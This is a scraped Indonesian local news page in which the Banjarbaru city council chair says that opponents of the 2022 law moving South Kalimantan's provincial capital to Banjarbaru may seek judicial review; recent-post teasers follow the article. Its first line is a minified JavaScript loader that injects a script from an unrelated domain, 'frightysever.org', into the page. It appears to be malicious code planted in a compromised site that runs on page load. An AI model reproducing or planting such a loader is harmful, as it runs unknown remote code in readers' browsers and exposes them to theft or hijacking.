(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Tanggapi Santai UU Provinsi Kalsel, Ketua DPRD Banjarbaru: Mau Judicial Review Silakan


KANALKALIMANTAN.COM, BANJARBARU – Banjarbaru sudah secara resmi ditetapkan sebagai ibu kota Provinsi Kalimantan Selatan (Kalsel) menggantikan Kota Banjarmasin.

Putusan itu tertuang dalam UU Provinsi Kalimantan Selatan No 8 Tahun 2022 dan ditanda tangani secara resmi oleh Presiden Joko Widodo pada 16 Maret 2022 lalu.

Namun perjalanan penetapan perpindahan ibu kota Provinsi Kalsel ke Banjarbaru mendapat penolakan oleh beberapa kalangan. Bahkan, dikabarkan bakal digugat ke Mahkamah Konstitusi.

Ketua DPRD Kota Banjarbaru, Fadliansyah mengatakan dirinya mempersilahkan siapa saja yang ingin menggugat di MK, karena menurutnya melakukan judicial review merupakan hak semua warga negara.

 

Baca juga  : Kesehatan Perempuan dan Kesetaraan Gender Bahasan W20 di Kalsel

“Kalau ada orang menggugat silakan saja karena itu merupakan hak mereka untuk judicial review,” ujar Fadli sapaan akrabnya.

Yang perlu digarisbawahi, dikatakan Fadli, ibu kota provinsi memang pindah ke Kota Banjarbaru. Namun, kedudukan Banjarmasin masih sebagai penyangga perekonomian Kalsel sebagai pusat perekonomiannya.

“Ibu kota provinsi ini juga berefek ke daerah tetangga, memang Banjarbaru pusat pemerintahan tapi kan Banjarmasin tetap tidak tergantikan sebagai pusat perekonomian,” katanya.

Menurutnya, ketika UU tersebut sudah berproses di DPR yang mana fungsinya sebagai legsilasi, maka penetapan UU Provinsi Kalimantan Selatan tersebut sudah benar.

 

Baca juga  : Kaji Tiru Tata Kelola Arsip di Dinas Arpus Jateng, Kadispersip Kalsel Bertemu Gubernur Ganjar Pranowo

“Yang sudah ditetapkan melalui program legislasi nasional dan semua fraksi sudah sepakat,” jelasnya.

Ditambah keterangan para ahli dan juga melibatkan beberapa akademisi untuk mematangkan disahkannya UU yang di dalam salah satu pasalnya menyebut pemindahan ibu kota provinsi.

Sebab itu, Fadli melihat proses pemindahan ibu kota Provinsi Kalsel ini sudah melalui prosedur karena sudah ada pembentukan pansus, juga digodok bersama pemerintah dan DPR.

“Sampai paripurna disahkan tidak ada intrupsi sama anggota DPR,” tuntasnya.(Kanalkalimantan.com/ibnu)

Reporter : ibnu
Editor : bie


Desy Arfianty

Recent Posts

Calon Haji Tertua Kabupaten Banjar Berusia 86 Tahun, Bupati Banjar Lepas Keberangkatan

KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur bersama Wakil Bupati Banjar Habib Idrus Al… Read More

39 menit ago

Dua Hari Hilang di Tengah Rawa, Kakek Syahdan Ditemukan Selamat

KANALKALIMANTAN.COM, BARABAI – Tak kunjung pulang ke rumah selama dua hari, seorang kakek yang dikabarkan… Read More

2 jam ago

Halalbihalal Kerukunan Bubuhan Banjar Jabar Dihadiri Paman Birin

KANALKALIMANTAN.COM, BOGOR – Gubernur Kalsel H Sahbirin Noor beserta istri Hj Raudatul Jannah hadiri halalbihalal… Read More

4 jam ago

Serap Aspirasi Gen Z, Pj Bupati Kapuas Erlin Hardi Main ke Kafe

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi menyambangi kafe untuk menyerap langsung… Read More

6 jam ago

TPK Kelurahan Selat Hilir Juara 3 Terbaik Nasional 2024

KANALKALIMANTAN.COM, KUALA KAPUAS - Kerja keras yang berbuah manis. Ungkapan tersebut tepat disematkan untuk Tim… Read More

6 jam ago

Ibadah dan Sosial Ekonomi Berkembang, Masjid At-Taqwa Karang Anyar III Diperluas

KANALKALIMANTAN.COM, BANJARBARU - Dalam beberapa tahun terakhir, antusias warga dalam melaksanakan peribadatan di Masjid At… Read More

8 jam ago

This website uses cookies.